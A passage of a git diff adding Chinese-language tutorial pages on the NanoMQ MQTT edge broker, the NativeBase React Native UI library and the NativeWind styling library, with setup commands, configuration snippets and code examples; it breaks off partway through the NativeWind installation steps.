+- **QoS 0/1/2**：最多一次 / 至少一次 / 恰好一次；实际等级取 publish 与 subscribe 的 **较小值**。
+- **Retain**：适合「当前状态」topic（阀门开/关），不适合高频 telemetry 流。
+- **`+` / `#`**：仅用于订阅侧通配；`#` 必须在末尾。
+
+### 4. MQTT Bridge：边缘到云的双向管道
+
+Bridge 在配置里声明远端 broker（如 `mqtt-tcp://broker.emqx.io:1883`），并定义：
+
+- **forwards**：本地 topic → 远端 topic（上行）
+- **subscription**：远端 topic → 本地 topic（下行）
+
+断网时 NanoMQ 可结合持久化 **排队**，恢复后补发；桥接连接状态还会通过 **系统 topic** 发 online/offline 事件（见下文 `$SYS`）。
+
+### 5. 规则引擎与 Webhook
+
+NanoMQ 可用 **类 SQL** 语句对消息做过滤、投影、转发到外部 sink（具体语法见官方 Rule Engine 文档）。**Webhook** 则把 MQTT 事件 POST 到现有 HTTP 服务——适合边缘已有 REST 微服务、暂不想全改 MQTT 的迁移路径。
+
+### 6. 系统 Topic `$SYS/`：可观测性
+
+订阅系统 topic 可收到客户端上下线、桥接状态等 JSON 事件，例如（0.24.1+ 合并为单 topic）：
+
+```
+Topic: $SYS/brokers/client_status/${clientid}
+Message: {"status":"online", "client_id":"...", "IPv4":"127.0.0.1", ...}
+```
+
+生产环境应为 `$SYS` 单独设 ACL，避免泄露拓扑。
+
+### 7. 配置文件 `nanomq.conf` 与环境变量
+
+启动：
+
+```bash
+nanomq start
+# 或
+nanomq start --conf /etc/nanomq.conf
+```
+
+Docker 常用挂载：
+
+```bash
+docker run -d --name nanomq \
+  -p 1883:1883 -p 8083:8083 -p 8883:8883 \
+  -v /path/to/nanomq.conf:/etc/nanomq.conf \
+  emqx/nanomq:latest
+```
+
+大量选项可用 **环境变量** 覆盖（如 `NANOMQ_PARALLEL`、`NANOMQ_ALLOW_ANONYMOUS`、`NANOMQ_WEBSOCKET_ENABLE`），适合 K8s ConfigMap / Docker Compose 部署。
+
+### 8. `nanomq_cli` 工具集
+
+除 broker 外，同一仓库还提供：
+
+| 命令 | 用途 |
+| --- | --- |
+| `nanomq_cli pub` / `sub` | 发布、订阅、测连通 |
+| `nanomq_cli conn` | 测试连接与 keepalive |
+| bench（需 `-DBUILD_BENCH=ON` 编译） | MQTT 压测 |
+| ZMQ / DDS proxy 等 | 多协议网关（可选编译） |
+
+客户端库 **NanoSDK** 见 [nanomq/NanoSDK](https://github.com/nanomq/NanoSDK)。
+
+## 快速上手
+
+### 用 Docker 一分钟跑起来
+
+```bash
+docker run -d --name nanomq \
+  -p 1883:1883 -p 8083:8083 -p 8883:8883 \
+  emqx/nanomq:latest
+```
+
+### 本机二进制
+
+从 [nanomq.io/downloads](https://nanomq.io/downloads) 下载对应架构包，或使用包管理 / 源码编译（需 CMake ≥ 3.13、C99）：
+
+```bash
+git clone https://github.com/nanomq/nanomq.git
+cd nanomq && git submodule update --init --recursive
+mkdir build && cd build
+cmake -G Ninja ..
+ninja
+# 安装后
+nanomq start
+```
+
+常用 CMake 开关：`-DNNG_ENABLE_TLS=ON`（TLS）、`-DNNG_ENABLE_QUIC=ON`（QUIC 桥）、`-DNNG_ENABLE_SQLITE=ON`（SQLite 持久化）。
+
+## 代码示例
+
+### 示例 1：用 `nanomq_cli` 验证 pub/sub
+
+终端 A——订阅 topic，QoS 1：
+
+```bash
+nanomq_cli sub -h 127.0.0.1 -p 1883 -t 'demo/status' -q 1 -v
+```
+
+终端 B——发布 retained 状态（新订阅者立刻看到 `online`）：
+
+```bash
+nanomq_cli pub -h 127.0.0.1 -p 1883 -t 'demo/status' -m 'online' -q 1 -r
+```
+
+再发一条普通心跳：
+
+```bash
+nanomq_cli pub -h 127.0.0.1 -p 1883 -t 'demo/status' -m "heartbeat-$(date +%s)" -q 1
+```
+
+`-r` 为 retain；`-v` 打印详细日志。若 broker 在 Docker 内，把 `127.0.0.1` 换成宿主机 IP 或 `-p` 映射后的地址。
+
+### 示例 2：最小 Bridge 配置片段（边 → 公有云）
+
+在 `nanomq.conf` 中增加（路径与用户名请按环境修改；以下为官方 Quick Start 精简版）：
+
+```hcl
+bridges.mqtt.emqx_cloud {
+  server = "mqtt-tcp://broker.emqx.io:1883"
+  proto_ver = 4
+  clientid = "edge_gateway_01"
+  keepalive = 60s
+  clean_start = false
+  username = "your_user"
+  password = "your_pass"
+
+  forwards = [
+    {
+      remote_topic = "cloud/factory/line1"
+      local_topic  = "factory/line1/#"
+      qos = 1
+    }
+  ]
+
+  subscription = [
+    {
+      remote_topic = "cloud/cmd/factory"
+      local_topic  = "factory/cmd/#"
+      qos = 1
+    }
+  ]
+
+  max_parallel_processes = 2
+  max_send_queue_len = 32
+  max_recv_queue_len = 128
+}
+```
+
+启动：
+
+```bash
+nanomq start --conf ./nanomq.conf
+```
+
+本地 `nanomq_cli pub -t 'factory/line1/temp' -m '26.3'` 后，在云端订阅 `cloud/factory/line1` 应能收到转发；云端向 `cloud/cmd/factory` 发布的指令会落到本地 `factory/cmd/#`。
+
+### 示例 3：Python（paho-mqtt）连接 NanoMQ
+
+```python
+import json
+import paho.mqtt.client as mqtt
+
+BROKER = "127.0.0.1"
+PORT = 1883
+
+def on_connect(client, userdata, flags, reason_code, properties):
+    print("connected:", reason_code)
+    client.subscribe("edge/+/telemetry", qos=1)
+
+def on_message(client, userdata, msg):
+    print(msg.topic, msg.payload.decode())
+
+sub = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, client_id="edge-monitor")
+sub.on_connect = on_connect
+sub.on_message = on_message
+sub.connect(BROKER, PORT, 60)
+sub.loop_forever()
+```
+
+发布端（另开进程）：
+
+```python
+import paho.mqtt.client as mqtt
+
+pub = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
+pub.connect("127.0.0.1", 1883, 60)
+pub.publish("edge/sensor01/telemetry", '{"t":22.1}', qos=1)
+pub.disconnect()
+```
+
+若关闭匿名登录，在 `connect` 前调用 `username_pw_set(...)`，并与 `nanomq.conf` 中认证配置一致。
+
+## 典型应用场景
+
+1. **工厂边缘网关**：PLC/传感器 pub 到本地 topic，NanoMQ bridge 汇总到 EMQX Cloud / 私有云，断网时 SQLite 缓存。
+2. **车联网 SDV**：车内多 ECU 经 MQTT 总线交换信号，NanoMQ 作轻量 message bus，可选 DDS proxy 与 CycloneDDS 互通。
+3. **智能家居边缘盒**：比 Mosquitto 更高并发多房间设备，同时 Webhook 推送到现有 Home Server HTTP API。
+4. **规则下沉**：用 SQL 规则在边缘丢弃无效采样、只上报告警，节省 4G 流量。
+5. **开发与压测**：`nanomq_cli` bench 对比边缘硬件选型，HTTP API 做自动化运维。
+
+## 踩过的坑
+
+1. **默认匿名与 Docker 暴露端口**：`-p 1883:1883` 映射到公网且 `NANOMQ_ALLOW_ANONYMOUS=true` 时极易被扫描滥用；生产必须认证 + TLS + 防火墙。
+2. **Bridge 的 subscription 必须写 qos**：官方文档强调每条 `subscription` 都要设 `qos`，否则 NanoMQ **不会**向远端订阅，表现为「下行永远收不到」。
+3. **混淆 broker 与 cli 配置**：`nanomq.conf` 只给 **broker** 用；`nanomq_cli pub/sub` 参数走命令行，不要指望在同一个 conf 里配 pub。
+4. **QoS 2 与业务幂等**：MQTT QoS 2 只保证协议层不重复，消费端写库仍要自己做 dedup。
+5. **Retain 用于错误 topic**：对秒级 telemetry 开 retain 会让新订阅者误以为旧值仍有效。
+6. **并行度不是越大越好**：`NANOMQ_PARALLEL` / `max_parallel_processes` 过高在小内存设备上反而增加调度开销，需结合 benchmark 调参。
+7. **MQTT 5 部分特性**：README 列出 Auth、Server Redirection 等 **尚未支持** 的 5.0 特性，混用新客户端时要查版本说明。
+
+## 与其他组件怎么配合
+
+```
+[传感器 / ECU] ──MQTT──► [NanoMQ 边缘] ──bridge──► [EMQX / 云端 MQTT]
+        │                        │
+        │                        ├── SQL Rule ──► [本地 SQLite / 时序库]
+        │                        ├── Webhook ──► [现有 HTTP 微服务]
+        ▼                        ▼
+   [NanoSDK 固件]          [HTTP API 运维 / Prometheus 抓取]
+```
+
+- **EMQX 全家桶**：NanoMQ 常作边缘节点，EMQX 作云端汇聚；Bridge 配置对称即可。
+- **eKuiper**：流式 SQL 处理与 NanoMQ 规则互补，复杂 CEP 可下沉到 eKuiper。
+- **Telegraf / 自研消费者**：sub 边缘 topic 写入 [[influxdb]]、[[postgresql]] 等。
+- **Kubernetes**：官方 Docker 镜像 + ConfigMap 挂载 `nanomq.conf`，用 HTTP 健康检查与 `$SYS` 监控。
+- **与 Mosquitto 选型**：要极简、插件生态、Home Assistant 一键 addon → Mosquitto；要多核吞吐、内置桥与规则 → NanoMQ。
+
+## 学习路径建议
+
+1. **第 1 天**：Docker 或 `nanomq start`，`nanomq_cli sub/pub` 理解 topic、QoS、retain。
+2. **第 2 天**：读默认 `nanomq.conf`，关匿名、配 TLS listener（`-DNNG_ENABLE_TLS=ON` 构建或使用官方带 TLS 包）。
+3. **第 3 天**：配置一条到 `broker.emqx.io` 的 bridge，验证 forwards 与 subscription 双向。
+4. **第 4 天**：订阅 `$SYS/brokers/client_status/#`，观察上下线 JSON；试 HTTP API 改配置（若启用）。
+5. **第 5 天**：读 [NanoMQ 文档](https://nanomq.io/docs/en/latest/) 中 Rule Engine、Persistence；用 bench 在目标硬件上压测，对照 [test report](https://nanomq.io/docs/latest/test-report.html)。
+
+## 参考资料
+
+- 源码与 README：[github.com/nanomq/nanomq](https://github.com/nanomq/nanomq)
+- 官网：[nanomq.io](https://nanomq.io/)
+- 快速开始：[Quick Start](https://nanomq.io/docs/en/latest/quick-start/quick-start.html)
+- CLI 手册：[Command Line Interface](https://nanomq.io/docs/en/latest/toolkit/command-line.html)
+- LF Edge 项目页：[lfedge.org/projects/nanomq](https://lfedge.org/projects/nanomq/)
+- MQTT 规范：[MQTT 3.1.1](https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html) / [MQTT 5.0](https://docs.oasis-open.org/mqtt/mqtt/v5.0/cs02/mqtt-v5.0-cs02.html)
+- 客户端示例：[MQTT-Client-Examples](https://github.com/emqx/MQTT-Client-Examples)
+- C SDK：[NanoSDK](https://github.com/nanomq/NanoSDK)
diff --git a/src/content/docs/projects/native-base.md b/src/content/docs/projects/native-base.md
new file mode 100644
index 000000000..a6ef9fb67
--- /dev/null
+++ b/src/content/docs/projects/native-base.md
@@ -0,0 +1,375 @@
+---
+title: NativeBase — 跨平台 React Native UI 与设计系统
+来源: https://github.com/GeekyAnts/NativeBase
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+NativeBase 是 GeekyAnts 出品的**跨平台 React / React Native 组件库**：把 Box、Button、Input、Modal 等常见界面元素，连同主题、间距、深色模式、无障碍属性，打包成一套在 **Android、iOS、Web** 上视觉一致的「标准件」。
+
+日常类比：你要开三家连锁咖啡店（手机 App + 网页后台 + 平板点单），如果每家店各自定杯型、菜单排版和灯光，顾客会觉得不是同品牌。NativeBase 像总部下发的**连锁装修手册 + 预制构件目录**——总部定好主色、圆角、间距标尺（theme tokens），各店只选组件、填内容，不用从零画按钮阴影或表单错误提示样式。
+
+最小用法：用 `NativeBaseProvider` 包住应用，然后直接使用组件：
+
+```tsx
+import { NativeBaseProvider, Box, Text, Button } from 'native-base';
+
+export default function App() {
+  return (
+    <NativeBaseProvider>
+      <Box flex={1} safeArea p={4} bg="white">
+        <Text fontSize="xl" fontWeight="bold">
+          你好，NativeBase
+        </Text>
+        <Button mt={4} colorScheme="primary">
+          开始
+        </Button>
+      </Box>
+    </NativeBaseProvider>
+  );
+}
+```
+
+当前 npm 上的稳定线约为 **3.4.x**（最后大规模更新约在 2023 年）。官方文档已明确建议**新项目优先 gluestack-ui**（NativeBase 的继任者）；但大量存量 App、教程和 Expo Snack 仍基于 NativeBase，零基础读懂它仍有价值——尤其是理解「utility props + theme + 跨平台组件」这一套后来被 Gluestack、Chakra 系思路继承的设计语言。
+
+## 为什么重要
+
+在 React Native UI 选型里，NativeBase 代表了一代「**设计系统优先**」的方案，和 Material 系的 React Native Paper、编译器系的 Tamagui 形成对照：
+
+| 维度 | NativeBase 3.x 的特点 |
+|------|----------------------|
+| 跨平台 | 同一套组件跑 RN + Web（基于 React Native Web） |
+| 主题 | `extendTheme` 扩展 token，支持深/浅色 `colorMode` |
+| 样式写法 | Chakra 风格的 **utility props**（`p={4}`、`bg="primary.500"`） |
+| 平台差异 | `_ios`、`_android`、`_web` 等 **pseudo props** 做分支 |
+| 生态位 | GeekyAnts 长期维护；后演进为 gluestack-ui |
+
+不理解 NativeBase，你会在以下场景吃亏：
+
+- 维护 2020–2023 年创建的 RN 项目时，看到满屏 `Box`、`HStack`、`colorScheme` 不知从何改起
+- 读 Gluestack / Solito 文档时，作者常默认你懂 NativeBase 3 的主题与 utility props 模型
+- 评估「要不要从 NativeBase 迁移」时，说不清性能与包体积问题到底出在哪一层
+
+**甜区**：需要快速搭跨平台 MVP、团队熟悉 Chakra/Tailwind 式短属性、或接手已有 NativeBase 代码库。**不太甜**：2026 年全新 greenfield 项目——官方已指向 gluestack-ui；对 bundle 体积极度敏感且不想整库引入时，NativeWind + 自建组件可能更轻。
+
+## 核心概念
+
+NativeBase 3 的心智模型可以拆成六块：
+
+### 1. `NativeBaseProvider`（根 Provider）
+
+类似 Paper 的 `PaperProvider`，必须在应用根部包裹。它向下注入：
+
+- 当前 **theme** 对象（颜色、字体、组件 defaultProps）
+- **colorMode** 上下文（`light` / `dark`）
+- 部分 overlay 组件所需的 portal 环境
+
+Provider 顺序建议：Redux / React Query 等**在外层**，NativeBase **在内层**，这样 Modal 内仍能访问全局 state。
+
+### 2. Theme 与 `extendTheme`
+
+默认主题已经包含完整的色阶（如 `primary.50` … `primary.900`）、间距、圆角、字体。用 `extendTheme` **合并覆盖**，而不是重写整个对象：
+
+```tsx
+import { extendTheme, NativeBaseProvider } from 'native-base';
+
+const theme = extendTheme({
+  colors: {
+    brand: {
+      50: '#eef2ff',
+      500: '#6366f1',
+      900: '#312e81',
+    },
+  },
+  config: {
+    initialColorMode: 'light',
+    useSystemColorMode: true,
+  },
+  components: {
+    Button: {
+      defaultProps: {
+        colorScheme: 'brand',
+        rounded: 'lg',
+      },
+    },
+  },
+});
+```
+
+`components.*.defaultProps` 相当于给某类连锁构件设「出厂默认规格」——全 App 的 Button 默认圆角、默认色板，局部仍可用 props 覆盖。
+
+### 3. Utility Props（工具属性）
+
+NativeBase 3 借鉴 Chakra UI：在组件上直接写布局与样式短属性，底层映射到 StyleSheet：
+
+| 类别 | 常见 props | 含义 |
+|------|------------|------|
+| 布局 | `flex`, `w`, `h`, `maxW` | 宽高与 flex |
+| 间距 | `p`, `px`, `py`, `m`, `mt` | padding / margin |
+| 颜色 | `bg`, `color` | 背景与文字色，可引用 token |
+| 排版 | `fontSize`, `fontWeight`, `textAlign` | 字体 |
+| 栈布局 | `space={4}` on `VStack` / `HStack` | 子元素间距 |
+
+token 引用写字符串即可：`bg="primary.500"`、`p={4}`（数字通常映射 theme 的 spacing scale）。
+
+### 4. Pseudo Props（条件与状态样式）
+
+以 `_` 前缀挂载「特定条件下才生效」的样式，是 NativeBase 跨平台分支的核心机制：
+
+| Prop | 触发条件 |
+|------|----------|
+| `_hover` | Web 悬停 |
+| `_pressed` | 按下 |
+| `_focus` | 聚焦（键盘 / 无障碍） |
+| `_dark` / `_light` | 当前 colorMode |
+| `_ios` / `_android` / `_web` | 运行平台 |
+
+这让同一 JSX 在不同平台呈现合理差异，而不必到处写 `Platform.OS === 'ios'`。
+
+### 5. 布局原语：`Box`、`Stack`、`HStack`、`VStack`
+
+- **Box**：通用容器，类似带 utility props 的 `View`
+- **Stack 系**：自动给子元素加间距；`HStack` 水平、`VStack` 垂直
+- 复杂页面常组合：`ScrollView` + `VStack space={6}` + `FormControl`
+
+### 6. Color Mode（深色模式）
+
+`useColorMode()` 返回 `{ colorMode, toggleColorMode, setColorMode }`；`useColorModeValue(lightToken, darkToken)` 按当前模式选 token。配合 `StatusBar`、`NavigationContainer` 主题可做到全 App 同步切换。
+
+### 7. 与 gluestack-ui 的关系（读旧代码时的背景）
+
+2023 年起 GeekyAnts 推出 **gluestack-ui** 作为 NativeBase 的重建版：组件更 headless、样式与 `@gluestack-style` 分离、按需引入以减轻包体积。迁移路径包括 `@gluestack-ui/themed-native-base` 等兼容包。学 NativeBase 不等于推荐在新项目继续用它——而是理解**上一代 universal component library** 如何组织 theme 与 props，以便维护或迁移。
+
+## 安装与项目接入
+
+**Expo 项目（常见路径）：**
+
+```bash
+npx create-expo-app my-app
+cd my-app
+npx expo install native-base react-native-svg react-native-safe-area-context
+```
+
+NativeBase 3 依赖 `react-native-svg`（图标与部分组件）和 safe area 处理；Expo 用 `expo install` 对齐原生模块版本。
+
+**根组件接入：**
+
+```tsx
+import { NativeBaseProvider } from 'native-base';
+import App from './App';
+
+export default function Root() {
+  return (
+    <NativeBaseProvider>
+      <App />
+    </NativeBaseProvider>
+  );
+}
+```
+
+若使用自定义 theme，传入 `theme={theme}`。TypeScript 项目可配合 `@types/react-native` 与 NativeBase 自带的类型定义；Web 端需确保已配置 **React Native Web**（Expo Web 或 Next.js + Solito 等方案）。
+
+## 实践案例
+
+### 案例 1：品牌主题 + 深色模式开关
+
+```tsx
+import { extendTheme, NativeBaseProvider, Box, Button, Text, useColorMode } from 'native-base';
+
+const theme = extendTheme({
+  colors: {
+    brand: {
+      500: '#0ea5e9',
+      600: '#0284c7',
+    },
+  },
+  config: {
+    initialColorMode: 'light',
+  },
+});
+
+function ThemeToggle() {
+  const { colorMode, toggleColorMode } = useColorMode();
+  return (
+    <Button onPress={toggleColorMode} variant="outline" size="sm">
+      当前：{colorMode === 'light' ? '浅色' : '深色'}（点击切换）
+    </Button>
+  );
+}
+
+function Home() {
+  return (
+    <Box flex={1} safeArea p={4} _light={{ bg: 'white' }} _dark={{ bg: 'gray.900' }}>
+      <Text fontSize="2xl" mb={4} _light={{ color: 'gray.800' }} _dark={{ color: 'gray.100' }}>
+        设置页
+      </Text>
+      <ThemeToggle />
+    </Box>
+  );
+}
+
+export default function Root() {
+  return (
+    <NativeBaseProvider theme={theme}>
+      <Home />
+    </NativeBaseProvider>
+  );
+}
+```
+
+要点：
+
+- `extendTheme` 只覆盖 `brand` 色阶，其余 token 仍走默认主题，避免漏字段
+- `_light` / `_dark` 写在 `Box`、`Text` 上，比手动 `colorMode === 'dark' ? ... : ...` 更贴近组件声明式风格
+- `useColorMode` 必须在 `NativeBaseProvider` 子树内调用
+
+### 案例 2：登录表单 — FormControl、Input、平台伪 props
+
+```tsx
+import { useState } from 'react';
+import {
+  VStack,
+  HStack,
+  Input,
+  Button,
+  FormControl,
+  WarningOutlineIcon,
+  Text,
+  IconButton,
+  Pressable,
+} from 'native-base';
+import { MaterialIcons } from '@expo/vector-icons';
+
+export function LoginScreen() {
+  const [email, setEmail] = useState('');
+  const [password, setPassword] = useState('');
+  const [show, setShow] = useState(false);
+  const invalid = email.length > 0 && !email.includes('@');
+
+  return (
+    <VStack space={4} w="90%" maxW="400" alignSelf="center" mt={8}>
+      <Text fontSize="2xl" fontWeight="bold">
+        登录
+      </Text>
+
+      <FormControl isRequired isInvalid={invalid}>
+        <FormControl.Label>邮箱</FormControl.Label>
+        <Input
+          placeholder="name@example.com"
+          value={email}
+          onChangeText={setEmail}
+          keyboardType="email-address"
+          autoCapitalize="none"
+          _focus={{ borderColor: 'primary.500', bg: 'white' }}
+        />
+        <FormControl.ErrorMessage leftIcon={<WarningOutlineIcon size="xs" />}>
+          请输入有效邮箱
+        </FormControl.ErrorMessage>
+      </FormControl>
+
+      <FormControl isRequired>
+        <FormControl.Label>密码</FormControl.Label>
+        <Input
+          type={show ? 'text' : 'password'}
+          value={password}
+          onChangeText={setPassword}
+          InputRightElement={
+            <Pressable onPress={() => setShow(!show)} mr={2}>
+              <MaterialIcons name={show ? 'visibility' : 'visibility-off'} size={22} />
+            </Pressable>
+          }
+        />
+      </FormControl>
+
+      <Button
+        colorScheme="primary"
+        onPress={() => console.log('login', email)}
+        _pressed={{ opacity: 0.85 }}
+        _web={{ _hover: { bg: 'primary.600' } }}
+      >
+        登录
+      </Button>
+
+      <HStack justifyContent="center">
+        <Text fontSize="sm">还没有账号？</Text>
+        <Button variant="link" size="sm" p={0} ml={1}>
+          注册
+        </Button>
+      </HStack>
+    </VStack>
+  );
+}
+```
+
+要点：
+
+- `FormControl` + `isInvalid` + `ErrorMessage` 是 NativeBase 表单无障碍的标准组合（label 与错误信息关联）
+- `InputRightElement` 放「显示密码」图标，避免嵌套过多自定义 `View`
+- `_web={{ _hover: ... }}` 只在 Web 启用 hover，原生端不会误触
+
+### 案例 3：响应式布局与 `Hidden`（可选了解）
+
+NativeBase 提供 `Hidden` 或 breakpoint 相关 props（随版本略有差异），用于「手机隐藏侧边栏、平板显示」。跨平台 App 常配合 `useBreakpointValue` hook 读 theme 里定义的 breakpoints。具体 API 以 [官方 Theme 文档](https://docs.nativebase.io/theme) 为准；思路是 **同一组件树，不同宽度应用不同 defaultProps**。
+
+## 组件地图（3.x 常用）
+
+| 分类 | 代表组件 | 用途 |
+|------|----------|------|
+| Layout | Box, Center, Stack, ScrollView | 页面骨架 |
+| Forms | Input, Select, Checkbox, Radio, Switch, Slider | 数据录入 |
+| Data Display | Badge, Avatar, Divider, Table | 信息展示 |
+| Feedback | Alert, Toast, Progress, Spinner | 状态反馈 |
+| Overlay | Modal, ActionSheet, Popover, Menu | 浮层交互 |
+| Typography | Text, Heading | 文字层级 |
+| Media | Image, Icon | 图标与图片 |
+
+许多组件支持 `colorScheme`（语义色板）、`variant`（如 Button 的 `solid` / `outline` / `ghost` / `link`），与 theme 里 `components.Button.variants` 联动。
+
+## 与同类方案对比
+
+| 库 | 设计风格 | 跨 Web | 2026 新项目建议 |
+|----|----------|--------|-----------------|
+| NativeBase 3 | Chakra 式 utility + theme | 是 | 维护旧项目；新项目看 Gluestack |
+| gluestack-ui | headless + 可选 styled | 是 | GeekyAnts 官方继任 |
+| React Native Paper | Material Design 3 | 有限 | Android / Material 风 App |
+| Tamagui | token + 编译器优化 | 是 | 性能敏感 + 设计系统 |
+| NativeWind | Tailwind class | 是 | 团队已深度用 Tailwind |
+
+NativeBase 的优势 historically 是 **上手快、默认主题好看、文档与 Snack 示例多**；劣势是整库体积、运行时 style 解析、以及维护节奏放缓后与新 RN / React 版本的跟进压力——这也是 gluestack 诞生的直接原因。
+
+## 常见问题
+
+**Q：新项目还能用 NativeBase 吗？**  
+A：能跑，但 [官方 Getting Started](https://docs.nativebase.io/getting-started) 已指向 gluestack-ui。全新 App 更建议直接评估 Gluestack；Legacy 项目可规划渐进迁移。
+
+**Q：`native-base` 和 `@native-base/react` 有什么区别？**  
+A：3.x 起主包名为 `native-base`，统一从 `native-base` import。旧 2.x 文档中的 API 差异较大，升级需读 [Migration 指南](https://docs.nativebase.io/migration)。
+
+**Q：Web 端样式不对 / 字体发虚？**  
+A：检查是否正确配置 React Native Web、是否加载 theme 字体；部分组件在 Web 上依赖 `_web` 微调。Solito + Next.js 是 GeekyAnts 推荐的 universal 路由方案之一。
+
+**Q：和 React Navigation 怎么配？**  
+A：NativeBase 不绑定特定导航库。常见做法：Navigation 管路由，`NativeBaseProvider` 包在 `NavigationContainer` 外或内均可，注意 Modal 与 header 的 z-index；深/浅色需同步改 Navigation theme 与 NativeBase colorMode。
+
+**Q：TypeScript 报 theme token 不存在？**  
+A：用 `extendTheme` 扩展后，可通过 NativeBase 的 theme typing 或模块 augmentation 声明自定义 `colors.brand`；开发期也可先用字符串 token 快速迭代。
+
+## 学习路径建议
+
+1. 在 [Expo Snack](https://snack.expo.dev/) 选 NativeBase 模板，改 `Box` / `Button` / `Text` 的 utility props，观察 Web 与模拟器预览  
+2. 读官方 **Theme** 与 **Color mode** 两章，做一版品牌色 + 深色切换  
+3. 用 **FormControl + Input** 做一个完整表单屏，练 `_focus` 与 `isInvalid`  
+4. 若项目要长期维护，对照 [gluestack-ui 迁移说明](https://nativebase.io/blogs/road-ahead-with-gluestack-ui) 评估替换成本  
+
+## 参考资料
+
+- 官网与文档：https://nativebase.io/ 、https://docs.nativebase.io/
+- GitHub：https://github.com/GeekyAnts/NativeBase
+- npm：`native-base`（3.4.x）
+- 继任框架：https://gluestack.io/ 、https://github.com/gluestack/gluestack-ui
+- GeekyAnts 博文：[Road Ahead with gluestack-ui](https://nativebase.io/blogs/road-ahead-with-gluestack-ui)
+- Universal App 示例：NativeBase + Solito（官方 Resources）
diff --git a/src/content/docs/projects/nativewind.md b/src/content/docs/projects/nativewind.md
new file mode 100644
index 000000000..85570463a
--- /dev/null
+++ b/src/content/docs/projects/nativewind.md
@@ -0,0 +1,320 @@
+---
+title: NativeWind — 在 React Native 里用 Tailwind CSS 写样式
+来源: https://github.com/nativewind/nativewind
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+NativeWind 是一个**样式库**，不是组件库：它把你在 Web 前端熟悉的 Tailwind CSS 工具类（`flex-1`、`text-blue-500`、`dark:bg-zinc-900` 等）带到 React Native 里，让你用 `className` 而不是手写 `StyleSheet.create` 来布局。
+
+日常类比：React Native 原生样式像「每块砖都要自己烧」——`padding: 16`、`backgroundColor: '#fff'` 一行行写在 JS 对象里。Tailwind 像「宜家预制模块」——`p-4 bg-white` 直接拼。NativeWind 就是**把宜家说明书翻译成 RN 能读懂的施工图**：编译期把 class 变成 `StyleSheet.create` 对象，运行时再按平台（iOS / Android / Web）正确套用。
+
+它和 React Native Web 的关系：在 **Web 端**，NativeWind 相当于给 RN Web 加了一层 `className` 兼容；在 **原生端**，走 Yoga 布局引擎 + RN StyleSheet，性能接近手写 StyleSheet。
+
+当前版本脉络（2026 年初）：
+
+| 版本 | 状态 | Tailwind | 适用场景 |
+|------|------|----------|----------|
+| v4.1 | **稳定、生产可用** | Tailwind CSS v3 | 绝大多数新项目 |
+| v5 | Preview / `@preview` | Tailwind CSS v4 | 尝鲜、实验项目 |
+
+官方一键脚手架：
+
+```bash
+# v4.1 + Expo SDK 54（推荐入门）
+npx rn-new@latest --nativewind
+
+# v5 preview
+npx rn-new@next --nativewind
+```
+
+## 为什么重要
+
+不理解 NativeWind，以下问题很难答清楚：
+
+- **为什么 RN 项目里能写 `className`？** —— NativeWind 通过 Babel/Metro 编译管线，在构建时把 Tailwind class 映射为 RN 样式对象，并扩展 RN 组件的类型定义
+- **和 Tamagui、Gluestack 有什么区别？** —— 后者是**组件库**（Button、Card 等）；NativeWind 只管**样式层**，UI 仍用 RN 原生组件或任意第三方库
+- **Web + iOS + Android 一套 class 真能用吗？** —— 大部分 utility 可以；平台差异用 `ios:`、`android:`、`web:` 等变体（v5 原生支持更多）
+- **性能会不会比 StyleSheet 差？** —— 样式在**构建期**预编译，运行时只做条件逻辑（dark mode、hover 等），官方设计目标就是接近手写 StyleSheet
+
+## 核心概念
+
+NativeWind 的工作流可以拆成五层：
+
+### 1. 编译期：Tailwind → StyleSheet
+
+Metro 打包时，NativeWind 读取你的 `global.css` 和 `tailwind.config.js`（v4）或 CSS-first 配置（v5），扫描源码里的 `className` 字符串，用 Tailwind 编译器生成对应的 RN 样式表。类比：厨师提前把菜切好、料配好（build time），上菜时只加热（runtime）。
+
+### 2. 运行时：className → style
+
+组件渲染时，NativeWind 把 `className="flex-1 p-4"` 解析成 `{ flex: 1, padding: 16 }` 交给 RN。复杂场景（伪类 `hover:`、`focus:`、媒体查询 `md:`、dark mode）由轻量 runtime 处理——在 Web 上走 CSS，在原生上走 RN 的条件样式 API。
+
+### 3. 默认映射：className ↔ style
+
+开箱即用：`View`、`Text`、`Pressable` 等标准 RN 组件直接支持 `className`。若第三方组件只认 `style` prop，可用 `cssInterop` 做映射（进阶话题，初学先记住「标准组件直接用」即可）。
+
+### 4. 三端策略
+
+| 平台 | 底层引擎 |
+|------|----------|
+| iOS / Android | `StyleSheet.create` + Yoga |
+| Web | React Native Web + Tailwind 样式表复用 |
+
+同一套 JSX，各端选各自最高效的路径——这是 NativeWind 相对「纯 Web Tailwind 套壳」的核心价值。
+
+### 5. 与 Expo 的深度集成
+
+Expo 是官方推荐的入门路径：Metro bundler、`babel-preset-expo`、`withNativeWind` 配置都已文档化。Web 端需在 `app.json` 里把 bundler 设为 `metro`，否则 Tailwind 管线可能对不上。
+
+## 从零安装（Expo + v4.1 稳定版）
+
+以下步骤对应[官方 Installation 文档](https://www.nativewind.dev/docs/getting-started/installation)，适合已有 Expo 项目手动接入。
+
+**1. 安装依赖**
+
+```bash
+npm install nativewind react-native-reanimated react-native-safe-area-context
+npm install --dev tailwindcss@^3.4.17 prettier-plugin-tailwindcss@^0.5.11 babel-preset-expo
+```
+
+**2. 初始化 Tailwind 配置**
+
+```js
+// tailwind.config.js
+/** @type {import('tailwindcss').Config} */
+module.exports = {
+  content: ["./App.tsx", "./app/**/*.{js,jsx,ts,tsx}", "./components/**/*.{js,jsx,ts,tsx}"],
+  presets: [require("nativewind/preset")],  // 关键：NativeWind 预设
+  theme: { extend: {} },
+  plugins: [],
+};
+```
+
+**3. 全局 CSS 入口**
+
+```css
+/* global.css */
+@tailwind base;
+@tailwind components;
+@tailwind utilities;
+```
+
+**4. Babel + Metro**
+
+```js
+// babel.config.js
+module.exports = function (api) {
+  api.cache(true);
+  return {
+    presets: [
+      ["babel-preset-expo", { jsxImportSource: "nativewind" }],
+      "nativewind/babel",
+    ],
+  };
+};
+```
+
+```js
+// metro.config.js
+const { getDefaultConfig } = require("expo/metro-config");
+const { withNativeWind } = require("nativewind/metro");
+
+const config = getDefaultConfig(__dirname);
